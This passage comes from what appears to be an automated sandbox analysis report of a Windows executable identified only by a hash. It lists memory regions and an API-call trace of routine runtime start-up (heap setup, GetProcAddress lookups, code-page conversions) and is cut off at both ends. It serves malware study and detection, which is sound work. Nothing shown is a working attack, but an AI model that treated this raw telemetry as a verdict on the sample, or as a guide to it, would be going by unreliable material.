0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 928 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 929 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 930 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 931 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 932 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 933 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 934 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 935 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 936 start_va = 0x38b0000 end_va = 0x38bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 937 start_va = 0x38e0000 end_va = 0x38effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038e0000" filename = "" Region: id = 938 start_va = 0x706d0000 end_va = 0x70744fff monitored = 0 entry_point = 0x70709a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 941 start_va = 0x38f0000 end_va = 0x396ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038f0000" filename = "" Region: id = 942 start_va = 0x38f0000 end_va = 0x392ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038f0000" filename = "" Region: id = 943 start_va = 0x3960000 end_va = 0x396ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003960000" filename = "" Region: id = 944 start_va = 0x3970000 end_va = 0x3a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003970000" filename = "" Region: id = 945 start_va = 0x76030000 end_va = 0x7614efff monitored = 0 entry_point = 0x76075980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 946 start_va = 0x3a70000 end_va = 0x3f61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a70000" filename = "" Region: id = 947 start_va = 0x3f70000 end_va = 0x4461fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003f70000" filename = "" Region: id = 948 start_va = 0x38b0000 end_va = 0x38b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038b0000" filename = "" Region: id = 949 start_va = 0x3f70000 end_va = 0x4468fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f70000" filename = "" Region: id = 950 start_va = 0x6c9b0000 end_va = 0x6cb22fff monitored = 0 entry_point = 0x6ca5d220 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 951 start_va = 0x4470000 end_va = 0x456ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004470000" filename = "" Region: id = 959 start_va = 0x38c0000 end_va = 0x38c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038c0000" filename = "" Region: id = 960 start_va = 0x3970000 end_va = 0x3a2bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003970000" filename = "" Region: id = 961 start_va = 0x38c0000 end_va = 0x38c3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038c0000" filename = "" Region: id = 962 start_va = 0x725b0000 end_va = 0x726fafff monitored = 0 entry_point = 0x72611660 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 963 start_va = 0x38c0000 end_va = 0x38c3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 964 start_va = 0x38d0000 end_va = 0x3914fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000005.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db") Region: id = 965 start_va = 0x3920000 end_va = 0x3923fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 966 start_va = 0x3970000 end_va = 0x39fdfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 967 start_va = 0x3930000 end_va = 0x3933fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 968 start_va = 0x3940000 end_va = 0x3952fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000a.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db") Region: id = 969 start_va = 0x3a00000 end_va = 0x3a00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a00000" filename = "" Region: id = 970 start_va = 0x73f00000 end_va = 0x7411bfff monitored = 0 entry_point = 0x740cbc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Thread: id = 1 os_tid = 0xcdc [0061.084] GetStartupInfoA (in: lpStartupInfo=0x19ff18 | out: lpStartupInfo=0x19ff18*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0061.084] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2130000 [0061.237] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0061.238] GetProcAddress (hModule=0x74650000, lpProcName="FlsAlloc") returned 0x7466a980 [0061.238] GetProcAddress (hModule=0x74650000, lpProcName="FlsGetValue") returned 0x74667570 [0061.238] GetProcAddress (hModule=0x74650000, lpProcName="FlsSetValue") returned 0x74669e30 [0061.238] GetProcAddress (hModule=0x74650000, lpProcName="FlsFree") returned 0x74674ff0 [0061.238] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0061.238] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0061.239] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0061.239] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0061.239] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0061.239] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0061.239] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0061.239] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0061.239] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0061.239] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0061.240] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0061.240] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0061.240] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0061.240] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0061.240] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0061.241] GetProcAddress (hModule=0x74650000, lpProcName="DecodePointer") returned 0x7794d830 [0061.241] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x214) returned 0x21305a8 [0061.241] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0061.241] GetProcAddress (hModule=0x74650000, lpProcName="DecodePointer") returned 0x7794d830 [0061.241] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0061.241] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0061.241] GetProcAddress (hModule=0x74650000, lpProcName="DecodePointer") returned 0x7794d830 [0061.241] GetCurrentThreadId () returned 0xcdc [0061.241] GetStartupInfoA (in: lpStartupInfo=0x19fe9c | out: lpStartupInfo=0x19fe9c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0061.241] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x800) returned 0x21307c8 [0061.241] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0061.242] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0061.242] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0061.242] SetHandleCount (uNumber=0x20) returned 0x20 [0061.242] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe\" " [0061.242] GetEnvironmentStringsW () returned 0x5efd20* [0061.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1293, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1293 [0061.242] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x0, Size=0x50d) returned 0x2130fd0 [0061.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1293, lpMultiByteStr=0x2130fd0, cbMultiByte=1293, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1293 [0061.242] FreeEnvironmentStringsW (penv=0x5efd20) returned 1 [0061.242] GetLastError () returned 0x0 [0061.242] SetLastError (dwErrCode=0x0) [0061.242] GetLastError () returned 0x0 [0061.242] SetLastError (dwErrCode=0x0) [0061.242] GetLastError () returned 0x0 [0061.242] SetLastError (dwErrCode=0x0) [0061.242] GetACP () returned 0x4e4 [0061.242] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x0, Size=0x220) returned 0x21314e8 [0061.242] GetLastError () returned 0x0 [0061.242] SetLastError (dwErrCode=0x0) [0061.242] IsValidCodePage (CodePage=0x4e4) returned 1 [0061.243] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fe7c | out: lpCPInfo=0x19fe7c) returned 1 [0061.243] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f948 | out: lpCPInfo=0x19f948) returned 1 [0061.243] GetLastError () returned 0x0 [0061.243] SetLastError (dwErrCode=0x0) [0061.243] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x19f8d8 | out: lpCharType=0x19f8d8) returned 1 [0061.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0061.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ艱@Ā") returned 256 [0061.243] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ艱@Ā", cchSrc=256, lpCharType=0x19f95c | out: lpCharType=0x19f95c) returned 1 [0061.243] GetLastError () returned 0x0 [0061.243] SetLastError (dwErrCode=0x0) [0061.243] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0061.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0061.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0061.243] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0061.243] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0061.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x19fc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¥R¿â\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0061.244] GetLastError () returned 0x0 [0061.244] SetLastError (dwErrCode=0x0) [0061.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0061.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0061.244] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0061.244] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0061.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x19fb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 